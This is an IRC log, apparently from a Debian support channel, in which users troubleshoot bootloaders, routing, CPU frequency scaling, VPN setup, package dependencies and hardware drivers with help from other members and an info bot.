| 20:11.48 | Bauer | anyone here from florida? I need help to find out which public transportation should I take, if I want to reach Kennedy Space Centery from Tampa city, I couldnt find it with google :/ |
| 20:11.48 | LSorensen | luminerd: I have seen hard to use guis, and easy to use text programs. |
| 20:11.50 | Xen | I can't seem to start XFree86. It errors out mentioning it can't open my mouse and shuts down due to core hardware not being available. |
| 20:11.54 | tucoz | tarzeau, thanks. Installing now |
| 20:11.55 | LSorensen | luminerd: I have never heard of apt-zip either |
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| 20:12.05 | tarzeau | luminerd: ok i got you wrong then |
| 20:12.10 | luminerd | LSorensen, true, Bittorrent clients are a good example of that |
| 20:12.16 | Lee__ | tarzeau: I didn't change any configure options. I copied /boot/config-* and ran make oldconfig |
| 20:12.18 | luminerd | :P |
| 20:12.22 | LSorensen | luminerd: nothing beats bittornado |
| 20:12.37 | tarzeau | Lee__: and not even initrd? debian kernel config? |
| 20:12.44 | luminerd | LSorensen, what makes bittornado so great? |
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| 20:12.53 | Lee__ | oh yeah, you have to add the --initrd option to get that. |
| 20:13.00 | Xen | Anybody know how to get 3.1 running in VMware? |
| 20:13.10 | Xen | no GUI by default |
| 20:13.12 | stew | Xen: /msg dpkg 2.6 mouse |
| 20:13.22 | Lee__ | xen, yeah, install it and read the vmware forums. |
| 20:13.42 | Lee__ | if it doesn't work, use your paid support you get from vmware to help. |
| 20:13.43 | LSorensen | luminerd: it has a nice curses interface that shows what it does (well btlaunchmanucurses does) and you just point it at a dir and when a .torrent enters the dir, it starts to get it. when the .torrent is deleted it stops sharing the file. couldn't be simpler |
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| 20:13.46 | simplexe | hii |
| 20:14.00 | rw` | eeyore-, alive? |
| 20:14.12 | Octalthorpe | LSorensen : I used to use that. |
| 20:14.18 | simplexe | sorry, i was asking about how to switch from lilo to grub ? |
| 20:14.20 | Octalthorpe | LSorensen : I even wrote a web-interface using SCREEN. |
| 20:14.47 | Octalthorpe | simplexe : apt-get --purge install lilo- grub && grub-install /dev/hda (or whatever your boot drive is) and then update-grub |
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| 20:15.10 | [GABRI] | any people have cpufreq with amd mobile sempron? |
| 20:15.30 | rw` | stew, found something really weird. Like I told you, I have a personal package that's patches /etc/inittab. When I use dpkg -i pkg.deb and apt-get remove pkg.deb everything goes alright. Now, when I try to remove as apt-get remove pkg.deb --purge, seems like the postrm is ran twice. Is this possible? |
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| 20:15.40 | LSorensen | [GABRI]: I haven't tried but most people seem to be recomending powernowd over cpufreq |
| 20:16.04 | [GABRI] | mm LSorensen what is the modulo of cpu scaling for amd mobile sempron |
| 20:16.34 | stew | rw`: not sure. #debian-mentors might be a better place to ask |
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| 20:17.03 | rw` | stew, thanks. |
| 20:17.47 | FlopsyPete | I'm trying to force my router to use a machine from inside the LAN rather than going outside, using 'route add -host 195.226.x.x 192.168.1.1'. the usual way it would try to go is via 192.168.1.2. can anyone please tell me whats wrong with this routing command? |
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| 20:18.25 | LSorensen | [GABRI]: I would think it is powernow-k7 or powernow-k8 depending on the model |
| 20:18.27 | stew | FlopsyPete: route add -host 192.226.1.2 eth1 ? |
| 20:18.33 | [GABRI] | mm LSorensen |
| 20:18.48 | [GABRI] | debian:/home/gabri# modprobe powernow-k7 |
| 20:18.48 | [GABRI] | FATAL: Error inserting powernow_k7 (/lib/modules/2.6.11-speed/kernel/arch/i386/kernel/cpu/cpufreq/powernow-k7.ko): No such device |
| 20:18.55 | [GABRI] | debian:/home/gabri# modprobe powernow-k8 |
| 20:18.55 | [GABRI] | FATAL: Error inserting powernow_k8 (/lib/modules/2.6.11-speed/kernel/arch/i386/kernel/cpu/cpufreq/powernow-k8.ko): No such device |
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| 20:19.07 | LSorensen | [GABRI]: maybe it doesn't know about semprons yet |
| 20:19.08 | [GABRI] | and dmesg |
| 20:19.15 | [GABRI] | powernow: This module only works with AMD K7 CPUs |
| 20:19.16 | [GABRI] | powernow-k8: Found 1 AMD Athlon 64 / Opteron processors (version 1.00.09e) |
| 20:19.16 | [GABRI] | powernow-k8: BIOS error: maxvid exceeded with pstate 0 |
| 20:19.20 | simplexe | Octalthorpe, thx , when update-grub he tell me that there is no menu , i must generate one ? |
| 20:19.24 | viper_ | I guys I have the next problem with my vpn .. I`m using pptpd on my debian sarge box on 2.6.12 and it works out but when a user tries to log in I get this error in syslog ... pppd[15005]: The remote system is required to authenticate itself .... pppd[15005]: but I couldn't find any suitable secret (password) for it to use to do so. ... though the chap-secrets file is just perfect .. played with that file for hours now... anybody know what this could be |
| 20:19.27 | Octalthorpe | simplexe : Yes. |
| 20:19.31 | dondelelcaro | [GABRI]: do not paste here ever. |
| 20:19.34 | Octalthorpe | simplexe : It just means it's the first time you've done it. |
| 20:19.35 | LSorensen | [GABRI]: well athlon64 shouldmean it should be the -k8 |
| 20:19.51 | FlopsyPete | stew: it'll already be using eth1 to get to 1.2. I need it to go to 1.1 on the same subnet |
| 20:19.57 | LSorensen | [GABRI]: and the k8 module seems to fail due to a bios mistake |
| 20:20.08 | Octalthorpe | What's the deal with missing packages in apt sources? |
| 20:20.13 | [GABRI] | mm LSorensen what we can do it? |
| 20:20.18 | dondelelcaro | Octalthorpe: what about it? |
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| 20:20.45 | LSorensen | [GABRI]: not sure. search google for that error and maybe someone has an answer. ask lkml about it. if it really is a bios bug, bother the maker of the board to fix it |
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| 20:20.48 | stew | FlopsyPete: i'm just saying that (according to the manpage) the last argument should be an interface, not an ip |
| 20:20.49 | Octalthorpe | dondelelcaro: libxinerama1 seems to be MIA, and has been for a few days. I don't know why this is. |
| 20:20.57 | dondelelcaro | Octalthorpe: a missing package just means that something references a package that no longer is (or isn't yet, or never will be) provided |
| 20:21.19 | Xen | Regarding my VMware problem: Does debian install smoother onto a real machine, say an nForce2 rig |
| 20:21.30 | Octalthorpe | dondelelcaro : It's not that kind of missing. |
| 20:21.34 | pipeline | Xen: I've never had any problems with debian as a VMware client. |
| 20:21.34 | dondelelcaro | Octalthorpe: uh.. it's there. |
| 20:21.42 | Octalthorpe | dondelelcaro : Failed to fetch http://mirrors.kernel.org/debian/pool/main/x/xorg-x11/libxinerama1_6.8.2.dfsg.1-4_i386.deb 404 Not Found [IP: 204.152.191.39 80] |
| 20:21.48 | igge | could someone explain why it says installed version: 64 and latest version: 1:2.10.1.1 for gnome when I run synaptic? |
| 20:22.04 | pipeline | Xen: With an nforce2 board, you may run into issues with getting sound drivers and network drivers. I think the network thing has been resolved via the "forcedeth" driver. |
| 20:22.07 | igge | never heard of version 64 for any program before.. :) |
| 20:22.11 | dondelelcaro | Octalthorpe: that just means that your mirror is out of date. |
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| 20:22.20 | stew | igge: 64 is the current eth version |
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| 20:22.25 | matlock | im looking to upgrade a package to a version in sid for my sarge installation, but without upgrading the entire distribution to be unstable. can someone point me in the right direction? |
| 20:22.26 | Xen | pipeline: I can't seem to get a XFree86 to run for the life of me using VM |
| 20:22.29 | Octalthorpe | dondelelcaro : That's what mirrors.kernel.org says, and just now I switched from ftp.us.debian.org to that. |
| 20:22.36 | igge | stew: eth version? |
| 20:22.43 | stew | igge: etch i mean |
| 20:22.48 | stew | !info gnome etch |
| 20:22.53 | stew | !info gnome sid |
| 20:23.00 | dpkg | gnome: (The GNOME Desktop Environment, with extra components), section gnome, is optional. Version: 1:2.10.1.1 (sid), Packaged size: 10 kB, Installed size: 16 kB |
| 20:23.03 | dpkg | gnome: (The GNOME Desktop Environment, with extra components), section gnome, is optional. Version: 64 (etch), Packaged size: 10 kB, Installed size: 16 kB |
| 20:23.04 | quiet | I just made a new wallpaper... if anyone cares: http://www.deviantart.com/view/21055903/ |
| 20:23.15 | FlopsyPete | how do I get traffic bound for 195.226.46.14 to use the router at 192.168.1.1? |
| 20:23.22 | greycat | heh, someone must have bitched about "version 64" being too cryptic |
| 20:23.23 | stew | igge: the 1: at the beginning of the version in sid means that they are starting a new "epoch" |
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| 20:23.32 | Octalthorpe | FlopsyPete : route add 196.226.46.14 gw 192.168.1.1 |
| 20:23.37 | dondelelcaro | Octalthorpe: yes; the mirror updated the packages file before the mirror pulse had completed. |
| 20:23.38 | Octalthorpe | Except, use the right IP address in the first part. |
| 20:23.46 | igge | stew: hm ok... |
| 20:23.48 | cello | hi, I am trying to get DirectVNC working, but directFB dies with an unknown error. How can I check for a working framebuffer and if not, how do I get one working? |
| 20:23.51 | FlopsyPete | Octalthorpe: thanks |
| 20:23.52 | Octalthorpe | dondelelcaro : How many days does it take the mirror pulse to complete? |
| 20:24.17 | dondelelcaro | Octalthorpe: depends on the mirror; in this case, ftp-master going down probably affected it; you can use the -3 package in the interim. |
| 20:24.23 | tarvok | Gonna reboot and see if this works... |
| 20:24.24 | stew | igge: the epoch is used to differentiate versions correctly when the upstream version numbering changes or never existed before |
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| 20:24.34 | Bac9 | anyone know how to get hylafax to silent answer/pickup faxes? |
| 20:24.47 | igge | stew: etch is the same as unstable currently? |
| 20:24.53 | greycat | igge: no. |
| 20:24.58 | stew | igge: no etch is testing sid is (always) unstable |
| 20:25.10 | igge | ok |
| 20:25.19 | pipeline | igge: unstable is not a sliding window. unstable is always unstable. |
| 20:25.20 | cello | I have /dev/fb[0-7] but how can i test for a working framebuffer? |
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| 20:25.35 | pipeline | igge: today's testing will some day become tomorrow's stable release, but unstable is eternal. |
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| 20:25.44 | igge | ok |
| 20:25.57 | stew | tomorrow? hah :) |
| 20:25.59 | igge | so unstable is more unstable than testing... |
| 20:26.06 | Spec | as the name implies |
| 20:26.11 | Spec | testing is not called 'unstable' |
| 20:26.33 | igge | true |
| 20:26.35 | Xen | does the nForce3 platform have as many problems with debian as the NF2? I could install onto an NF3 machine instead |
| 20:26.53 | Spec | the names aren't very hard to figure out: unstable -> unstable, testing -> being tested, stable -> stable |
| 20:27.50 | LSorensen | xen: nforce2 works perfectly for me. so does the nforce3 |
| 20:27.50 | igge | maybe stable -> stable, unstable -> on the way to becoming stable, testing -> testing and experimenting with some new stuff ? |
| 20:28.06 | Spec | nope, |
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| 20:28.08 | Spec | unstable is unstable. |
| 20:28.11 | Spec | it lacks stability |
| 20:28.17 | fleck | hi all, i have problem |
| 20:28.22 | viper_ | I guys I have the next problem with my vpn .. I`m using pptpd on my debian sarge box on 2.6.12 and it works out but when a user tries to log in I get this error in syslog ... pppd[15005]: The remote system is required to authenticate itself .... pppd[15005]: but I couldn't find any suitable secret (password) for it to use to do so. ... though the chap-secrets file is just perfect .. played with that file for hours now... anybody know what this could be |
| 20:28.22 | igge | ok guess it makes sense |
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| 20:28.46 | LSorensen | viper_: why would you use pptp? |
| 20:28.47 | igge | the important thing is I know what unstable and testing means in this context at least.. |
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| 20:29.08 | fleck | i can't install libarts1 because it depends on libjack but i have newer than libarts need... |
| 20:29.11 | tarvok | LSorenson: Whohoo! Thanks for the help! |
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| 20:29.23 | Spec | igge: indeed |
| 20:29.25 | viper_ | LSorensen I`ve been told that via pptpd its a good way to make a vpn server so that windows clients can log on .... you have a better alternative ? |
| 20:29.43 | LSorensen | viper_: pptp is insucure. it was insucure when NT4 was modern |
| 20:29.43 | matlock | does apt allow me to upgrade xfce4 (and its dependancies) to the version in sid, while maintaining the sarge distribution without a full system upgrade? |
| 20:30.03 | LSorensen | viper_: ipsec is much better. getting a free decent ipsec client for windows on the other hand isn't trivial |
| 20:30.05 | viper_ | LSorensen it doesn`t matter what app I use just need my windows people at home to log on to the office |
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| 20:30.43 | viper_ | LSorensen can`t windows xp standard connect to ipsec servers ? |
| 20:30.45 | akhayyat | anybody facing problems with dictionary lookup gnome applet? |
| 20:30.58 | akhayyat | anybody using it at the first place? |
| 20:31.04 | LSorensen | viper_: it you set up ipsec + l2tp then the client in win2k/xp can connect with that |
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| 20:31.20 | LSorensen | viper_: winxp can only connect to ipsec + l2tp. well unless you hack the registry |
| 20:31.24 | igge | spec: and now I know... so I will run testing, but not unstable |
| 20:31.32 | absence | i haven't gotten any new packages in unstable for several days. has anyone else experienced this, or is somthing broken on my installation? |
| 20:31.35 | Spec | LSorensen: are you speaking of something like: http://sourceforge.net/projects/ipsecndis/ ? |
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| 20:31.58 | Bac9 | does anyone here use a faxmodem? |
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| 20:32.21 | akhayyat | anybody using dictionary lookup applet in gnome? |
| 20:32.25 | LSorensen | seldon: hmm, that sounds pretty useful |
| 20:32.25 | Spec | yes |
| 20:32.29 | viper_ | LSorensen any advice or manpage how I could set this up in debian ?? in an easy way .. hehe I`m not a pro buy I know my way around in debian you know |
| 20:32.29 | Spec | akhayyat: yes |
| 20:32.41 | PeterB | matlock: /msg dpkg backport |
| 20:32.44 | akhayyat | Spec: facing any problem recently? |
| 20:32.55 | seldon | Huh? |
| 20:33.02 | Spec | akhayyat: no, but i'm not running debian/gnome right now, at this very instance |
| 20:33.03 | LSorensen | viper_: I looked at doing it a few months ago, and decided l2tp was too much work at the time, and I didn't want to mess with windows, so I let someone else use their cisco pix + cisco client instead. |
| 20:33.03 | stew | absence: if you run unstable you should read the debian-devel-announce mailing list |
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| 20:33.10 | LSorensen | viper_: made it not my problem anymore. |
| 20:33.12 | akhayyat | Spec: I cannot type a word in the space in the panel |
| 20:33.24 | Spec | akhayyat: I didn't have that problem, :p |
| 20:33.27 | absence | stew, i should? :o |
| 20:33.37 | akhayyat | Spec: i've to click Lookup and then type my word in the window |
| 20:33.45 | stew | absence: ftp-master is down which means no new packages |
| 20:33.46 | matlock | PeterB: thank you |
| 20:33.51 | akhayyat | Spec: used to be ok.. this is recent |
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| 20:34.01 | Spec | did you upgrade recently? |
| 20:34.05 | viper_ | LSorensen hmm ok .. well insecure isn`t the bigest problem .. most data isn`t that secret... could you give me some advice to put up pptpd then? |
| 20:34.09 | absence | stew, i see. thanks! |
| 20:34.12 | akhayyat | Spec: i'm up-to-date |
| 20:34.22 | ircdevil | goood nite |
| 20:34.27 | Spec | maybe try using an older version of the gnome applet? |
| 20:34.41 | LSorensen | viper_: I never touch pptp. it's a bad design so I don't bother. Last I looked it required kernel patching to work |
| 20:34.42 | akhayyat | Spec: upgraded a number of times after this behaviour started |
| 20:34.51 | Spec | ah |
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| 20:35.05 | LSorensen | vip :ipsec I have no problem with. it's the windows client that is stupid in requiring l2tp |
| 20:35.06 | viper_ | LSorensen hehe ok .. I`ll google on for a few hours then :P thanks anyway for your help |
| 20:35.09 | FieldySnuts | LSorensen: all that's needed these days is to turn on GRE tunnels |
| 20:35.22 | FieldySnuts | no patches needed |
| 20:35.23 | LSorensen | viper_: if the driver spec mentioned works, it might be a good solution together with openswan |
| 20:35.43 | miz | Anyone could hint of a webserver that supports php but "lighter" than apache? |
| 20:35.46 | Spec | i've never used that driver, i just saw it in browsing sf :p |
| 20:35.59 | Spec | miz: twistedmatrix.com |
| 20:36.01 | greycoin | hi, i'm having trouble burning CDs in 3.1. how do I change from ide-cdrom to ide-scsi? |
| 20:36.08 | Spec | i'm not sure if it 'supports php' though |
| 20:36.09 | viper_ | LSorensen maybe you know this btw .. how come SOOO few people know something about VPN connections .. I know a bunch IT people .. they know everything but when it comes down to VPN .. the black out |
| 20:36.11 | LSorensen | viper_: on the other hand l2tp when setup makes for a very nice setup since the client is provided with a local ip from the network making routing much simpler to get right |
| 20:36.15 | simplexe | (hd0,1) this means what ?? |
| 20:36.28 | fatal__ | miz: php can be run via cgi wrapper so it should work on any webserver (not very efficiently though).... |
| 20:36.29 | LSorensen | viper_: they just pay cisco 10 grand to make the problem go away :) |
| 20:36.30 | Spec | viper_: *blacks out* |
| 20:36.32 | akhayyat | anybody using ipw2x00 wireless drivers? |
| 20:36.37 | fatal__ | miz: try lighttpd. |
| 20:36.39 | stew | miz: there is caudium, don't know much about it though |
| 20:36.45 | greycat | !ipw2100 |
| 20:36.45 | dpkg | i heard ipw2100 is a wireless driver for certain intel wireless cards: 'apt-get install ipw2100-source', build with module-assistant. Download and install the firmware as you get told during install. For help try #ipw2100 or http://ipw2100.sourceforge.net. |
| 20:36.47 | viper_ | Spec :P see thats what I mean |
| 20:36.51 | luminerd | ...you can still install from source with debian right? |
| 20:36.52 | stew | akhayyat: if you have a real question ask it, don't poll |
| 20:36.56 | tucoz | I try to mount my usb-hard disk, but am not sure how to do that |
| 20:37.04 | dondelelcaro | luminerd: if you actually want to, yes. |
| 20:37.19 | fatal__ | luminerd: apt-get source ... |
| 20:37.20 | miz | Thanks, I'll try those |
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| 20:37.28 | [GABRI] | any people have cpufreq with amd mobile sempron? |
| 20:37.35 | greycat | !anyone use |
| 20:37.35 | luminerd | fatal__, no internet |
| 20:37.35 | dpkg | No, no one uses it, not even the people who use it. |
| 20:37.45 | Spec | !anyone |
| 20:37.45 | dpkg | ***anyone: No such nick/channel - and yes, there probably is someone, somewhere, who knows or runs it; that doesn't mean *I* do. |
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| 20:37.47 | luminerd | I want to get something up to the office on a cd |
| 20:37.49 | akhayyat | i suffer instability problems in ipw2200.. need to unload and reload the ipw2200 module requently to get the connection back.. any similar situations? |
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| 20:38.04 | viper_ | !anyones use |
| 20:38.07 | greycat | !ipw2200 |
| 20:38.07 | dpkg | ipw2200 is, like, a wireless driver for certain intel wireless cards: 'apt-get install ipw2200-source', build with module-assistant. Download and install the firmware as you get told during install. For help try #ipw2100 or http://ipw2200.sourceforge.net. |
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| 20:38.11 | Spec | linspire...i had a version of ...what was it before linspire? lindows? |
| 20:38.21 | luminerd | plus it makes me VERY uncomfortable to trust my system to a script that is specific to this distro |
| 20:38.22 | stew | akhayyat: are there any messages in /var/log/messages when it goes down? |
| 20:38.23 | greycat | Spec: yes |
| 20:38.29 | Spec | yeah, it was horrible then. |
| 20:38.32 | luminerd | I don't like urpmi and apt-get compared to source |
| 20:38.37 | kaiowa | after compiling kernel source if i type :make-kpkg ... command not found, how its posible?? |
| 20:38.48 | simplexe | i have windows on /dev/hda1 but in menu.lst i find things like this (hd0,1) , is this means /dev/hda1 ?? |
| 20:38.49 | Spec | kaiowa: install kernel-package |
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| 20:39.03 | akhayyat | stew: i've to double check.. using another machine now.. but nothing caught my attention |
| 20:39.07 | Farris1 | For some reason, whenever I ctrl+alt+F1 to a console, whenever I ctrl+altF7 back to X, I my machine locks up completely |
| 20:39.09 | Farris1 | any ideas? |
| 20:39.13 | Spec | simplexe: (hd0,0) is /dev/hda1 (hd0,1) is /dev/hda2 |
| 20:39.13 | viper_ | LSorensen hmm I`m reading about the openswan .. you need a kernel patch on 2.6.12 to make it work ?? |
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| 20:39.27 | simplexe | thx Spec |
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| 20:39.35 | tucoz | hal |
| 20:39.44 | akhayyat | stew: iwconfig reports still associated, but traffic is zero and all applications using the connection halts |
| 20:39.45 | tucoz | sorry, wrong window |
| 20:39.46 | Octalthorpe | Farris1 : Something nasty with your video card and mode switching? |
| 20:39.49 | LSorensen | viper_: no. 2.6 has ipsec built in. openswan provides interface to it. |
| 20:39.50 | Spec | viper_: have you looked at openvpn? |
| 20:39.56 | akhayyat | stew: once the module is reloaded everything goes fine again |
| 20:40.06 | Farris1 | Octalthorpe: I considered that, but I swapped the card out and it still doe sit |
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| 20:40.15 | LSorensen | viper_: you can use their patches, but I never found a reason to. the stuff in the kernel works great |
| 20:40.16 | stew | akhayyat: is it a problem with dhclient possibly? do you still have a valid ip address when it's bad? |
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| 20:40.31 | akhayyat | stew: i use static ips.. ips are fine |
| 20:40.41 | viper_ | Spec : no ??? .. is it easier to set up then pptpd and can accept connections from windows clients ? |
| 20:40.47 | Whisky` | ok what exactly does this mean,.....im sick of it: http://pastebin.com/322781 |
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| 20:41.00 | Spec | viper_: dunno, *blacks out* |
| 20:41.18 | Spec | viper_: i have a friend who talked to me about openvpn being really good for a while, but I ignored most of it |
| 20:41.21 | viper_ | Spec lol :) .. thnx anyway I`ll look at it |
| 20:41.22 | ingvarr | Hi all. Can anyone tell me when debian repositories will be updated again?.. |
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| 20:41.43 | viper_ | Spec hehe .. ah well who needs vpn nowdays |
| 20:41.51 | Spec | akhayyat: have you tried running tcpdump on the interface to see what happends when it goes down? and checked all of the logs? |
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| 20:42.12 | stew | akhayyat: what firmware version are you using? |
| 20:42.13 | akhayyat | Spec: actually no.. |
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| 20:42.19 | Whisky` | anyone? |
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| 20:42.42 | akhayyat | stew: the latest.. the one suitable for driver version 1.0.4.. i think that's 2.3 |
| 20:42.59 | Spec | Whisky_: err, dependency problems :p |
| 20:43.11 | akhayyat | Spec: but i think it's something below tcp |
| 20:43.18 | Whisky` | Spec, but I cant even install the dependencies :| |
| 20:43.25 | Spec | Whisky_: apt-get update, and then try apt-get -f install kdelibs4-dev |
| 20:43.31 | kaiowa | when i tried to install something with apt-get , i return always libgksu0 error and it dont let install it, how could i do plz¿¿ |
| 20:43.36 | stew | Whisky`: that means you have non-debian sources in your sources.list |
| 20:43.47 | Spec | akhayyat: yeah, sounds it. i dont' know what to suggest, other than maybe finding out if you're using the newest module |
| 20:43.52 | Whisky` | stew, I got them through apt-setup :| |
| 20:43.56 | stew | Whisky`: wait, you use ubuntu, don't you? |
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| 20:44.21 | ssb | hmmm. one hour passed and still my message is not in bugreport :( |
| 20:44.24 | akhayyat | Spec: it's the newest available in debian.. ipw2200.sf.net might have a newer one but i like sticking with apt |
| 20:44.44 | Whisky` | stew, No. I use Debian Sarge 3.1. That Ubuntu was just for fun on another partition. Got rid of it within 20 minutes, heh. |
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| 20:45.15 | Spec | akhayyat: I don't know then, I'd try the newest module myself, and see if that changes anything. |
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| 20:45.54 | stew | Whisky`: there is no way that sarges kdelibs depends on version 3.4 |
| 20:46.07 | Whisky` | stew, Wait. |
| 20:46.22 | stew | Whisky`: err, no that's not what its saying, its syaing that kdelibs 3.4 is in sarge |
| 20:46.24 | tucoz | Isn't kde 3.4 available as a debian package for debian-testing? |
| 20:46.41 | stew | tucoz: its not available for debian at all yet, officially at least |
| 20:47.21 | tucoz | oh, ok. I am trying to get my usb mass storage mounted, and read somewhere that kde 3.4 has some tricks to do that |
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| 20:47.34 | stew | Whisky`: paste your sources.list into #flood |
| 20:47.41 | dondelelcaro | tucoz: just load the usbms module, the scsi modules; and mount it. |
| 20:47.54 | tucoz | ok, apt-get? |
| 20:47.59 | falco_toadfoot | I have gaim 1:1.4.0-1 installed.. how do I install 1:1.4.0-3, avoiding dependency problems? |
| 20:48.10 | Whisky` | stew, here's a proof that i'm on sarge: http://pastebin.com/322792 |
| 20:48.16 | tucoz | I am new to debian as of today, so sorry for my rookie questions |
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| 20:48.42 | stew | Whisky`: that is proof that you are not |
| 20:48.59 | Whisky` | :| |
| 20:49.01 | stew | Whisky`: that is proof that you have non debian sources in your sources.list |
| 20:49.03 | stew | 4:3.4.1-1 is to be installed |
| 20:49.07 | stew | 3.4 isn't in debian yet |
| 20:49.08 | akhayyat | when i unplug my external dvd-writer (unmounted), my laptop hangs |
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| 20:49.18 | tucoz | dondelelcaro, how do I load modules? |
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| 20:49.36 | dondelelcaro | tucoz: with modprobe or modconf; they may already be loaded though. |
| 20:49.39 | Spec | Whisky_: paste your /etc/apt/sources.list ? |
| 20:49.40 | Whisky` | stew, heh i updated it from the ailoth-kde something site |
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| 20:49.57 | Whisky` | Spec, hang |
| 20:50.01 | akhayyat | when i unplug my external dvd-writer (unmounted), my laptop hangs and dmesg shows a kernel module error |
| 20:50.07 | stew | Whisky`: #debian-kde |
| 20:50.09 | xsdg | I don't have any gcc4 stuff installed yet; will I be in pain if I install something that pulls down libstdc++6? or will the old stuff keep using libstdc++5 happily? |
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| 20:50.16 | tapas | how bad is breakage atm? |
| 20:50.24 | LSorensen | tapas: depends what packages you use |
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| 20:50.30 | Whisky` | stew, It's about apt-get :| |
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| 20:50.37 | dddss | i have this messages always in my shell : /usr/lib/opera/plugins/operamotifwrapper-3: error while loading shared libraries: libXm.so.3: cannot open shared object file: No such file or directory |
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| 20:50.48 | stew | Whisky`: your apt-get is working correctly |
| 20:50.49 | dddss | how can i resolve? |
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| 20:50.53 | Whisky` | stew, yup. |
| 20:50.57 | stew | Whisky`: you are using non-official sources, you get no help here |
| 20:51.07 | dondelelcaro | dddss: you haven't installed libXm which your non-free program requires. |
| 20:51.08 | Spec | no help! |
| 20:51.19 | tucoz | dondelelcaro: FATAL: Module usbms not found. |
| 20:51.27 | Whisky` | stew, But i got them through apt-setup :S |
| 20:51.28 | tapas | hmm, ok.. |
| 20:51.37 | stew | Whisky`: #debian-kde |
| 20:51.50 | Whisky` | err |
| 20:52.02 | dddss | dondelelcaro: apt-get libXm works? |
| 20:52.25 | dondelelcaro | tucoz: it's the usb mass storage module; it's named something like usb-storage; or similar. |
| 20:52.39 | dondelelcaro | !tell dddss -about search |
| 20:52.46 | jasoncohen | i'm trying to resize my ext3 root partition from a hoary livecd i have. i first used qtparted which didn't give an option to resize the partition even though it was unmounted. gparted does give the option to resize / but the last time i tried to resize, i got an error about the device being in use. the only mounted partition on /dev/hda is swap |
| 20:53.02 | dondelelcaro | jasoncohen: so swapoff that partition, and resize it. |
| 20:53.29 | tucoz | ok, thanks. I'll try again :) |
| 20:53.36 | [GABRI] | any people have cpufreq with amd mobile sempron? |
| 20:53.48 | Whisky` | stew, http://pkg-kde.alioth.debian.org/docs/install.html >>> These lines will tell you how to update. And by the way, last night I formated my system and at that time i was on KDE 3.4.1, no problems. It's happening today on mirrors i got from apt-setup that you say are non-official |
| 20:53.51 | jasoncohen | dondelelcaro, can you really turn off swap on a live cd? |
| 20:53.53 | dondelelcaro | [GABRI]: again, just ask your question. |
| 20:54.01 | stew | jasoncohen: qtparted didn't make it into sarge becuase it was buggy which would make me weary about using it |
| 20:54.04 | dondelelcaro | jasoncohen: if it really is being used as swap, yes. |
| 20:54.14 | Spec | jasoncohen: yes, livecds don't even need HDs |
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| 20:54.43 | jasoncohen | so, everything is run from RAM? |
| 20:54.57 | dondelelcaro | jasoncohen: if you have enough, yes. |
| 20:55.03 | greycoin | hi, i'm trying to apt-get install k3b, but all i get is this: http://pastebin.com/322797 |
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| 20:55.18 | Spec | well, everything's on the cd, and it's put into ram and then ran |
| 20:55.23 | jasoncohen | dondelelcaro, so "swapoff /dev/hda2" |
| 20:55.27 | dondelelcaro | jasoncohen: yes. |
| 20:55.34 | bitmonk | anyone familiar with debootstrap for creating a chroot test setup? |
| 20:55.35 | Spec | so, as you can probably guess, swap will help it run better...but it doesn't -need- it |
| 20:55.42 | Whisky` | stew, it was ok if you couldnt help :/ |
| 20:55.43 | dddss | apt-file doesnt work why? |
| 20:55.48 | stew | Whisky`: #debian-kde |
| 20:55.52 | netbrain | bitmonk: im debootstrapping now |
| 20:55.56 | Spec | dddss: that's too vague, stop being vague |
| 20:55.59 | Whisky` | stew, stfu. |
| 20:56.00 | bitmonk | i'm.. well.. you'll say i'm crazy, but i'm trying to debootstrap on osx ;) |
| 20:56.06 | bitmonk | i need to create a test system for gnu savannah |
| 20:56.15 | dondelelcaro | greycoin: which version of Debian are you running? have you run apt-get update; recently? |
| 20:56.27 | dondelelcaro | bitmonk: just ask your question. |
| 20:56.29 | greycoin | dondelcaro: just ran update. i'm on sarge |
| 20:56.30 | eeyore- | back |
| 20:56.31 | bitmonk | well.. |
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| 20:56.38 | dondelelcaro | !depends k3b sarge |
| 20:56.41 | dpkg | k3b: depends on k3blibs (>= 0.11.20), kdelibs4 (>= 4:3.3.2-1), libart-2.0-2 (>= 2.3.16), libarts1 (>= 1.3.2), libasound2 (>> 1.0.8), libaudio2, libaudiofile0 (>= 0.2.3-4), libc6 (>= 2.3.2.ds1-4), libesd0 (>= 0.2.29-1) | libesd-alsa0 (>= 0.2.29-1), libfam0c102, libfontconfig1 (>= 2.2.1), libfreetype6 (>= 2.1.5-1), libgcc1 (>= 1:3.4.1-3), libglib2.0-0 (>= 2.6.0), libice6 | xlibs (>> 4.1.0), libidn11 (>= 0.5.2), libjack0.80.0-0 (>= 0.99.0), ... |
| 20:56.54 | bitmonk | is that crazy? i know the existing packages aren't going to work, but i suppose i could re-build, no? |
| 20:57.04 | falco_toadfoot | how do I get out of this? "gaim: Depends: libaspell15c2 (>= 0.60) but it is not going to be installed" |
| 20:57.05 | bitmonk | is there any reason for debootstrap specifically that it needs to run on a gnu/linux kernel? i assume no.. |
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| 20:57.10 | bitmonk | er |
| 20:57.11 | bitmonk | linux kernel |
| 20:57.21 | valdyn | falco_toadfoot: by not using sid |
| 20:57.22 | dondelelcaro | greycoin: as you can see, the k3b you're trying to isntall does not come from sarge, otherwise it would depend on kdelibs4 (>= 4:3.3.2-1) |
| 20:57.49 | greycoin | dondelelcaro: i see. so what should I do? |
| 20:57.52 | Spec | !depends gaim sarge |
| 20:57.55 | dpkg | gaim: depends on gaim-data (= 1:1.2.1-1.1), libao2 (>= 0.8.6), libaspell15 (>= 0.60), libatk1.0-0 (>= 1.7.2), libaudiofile0 (>= 0.2.3-4), libc6 (>= 2.3.2.ds1-21), libgcrypt11, libglib2.0-0 (>= 2.6.0), libgnutls11 (>= 1.0.16), libgtk2.0-0 (>= 2.6.0), libgtkspell0 (>= 2.0.2), libice6 | xlibs (>> 4.1.0), libpango1.0-0 (>= 1.8.1), libsm6 | xlibs (>> 4.1.0), libstartup-notification0 (>= 0.8-1), libx11-6 | xlibs (>> 4.1.0), libxext6 | xlibs (>> 4.1.0) |
| 20:58.05 | tarvok | Could someone help me get my sound working? I'm using an old Soundblaster 64, and sound players are claiming there is no sound output available. |
| 20:58.11 | tarvok | I have no idea how to begin. |
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| 20:58.18 | Spec | falco_toadfoot: apt-get install libaspell15c2 gaim ? |
| 20:58.22 | dondelelcaro | greycoin: what you should do is tell me exactly which version of Debian your doing; If you don't know how to figure that out, ask. Don't feed me misinformation. |
| 20:58.24 | bitmonk | tarvok: run 'lsmod' and cut/paste to pastebin.org |
| 20:58.26 | jasoncohen | dondelelcaro, i turned off swap but now i'm getting another error - "dumpe2fs: No such file or directory while trying to open /dev/mapper/casper-snapshot1 Error: Unable to open /dev/mapper/casper-cow - unrecognised disk label. |
| 20:58.28 | bitmonk | or pastebin.com |
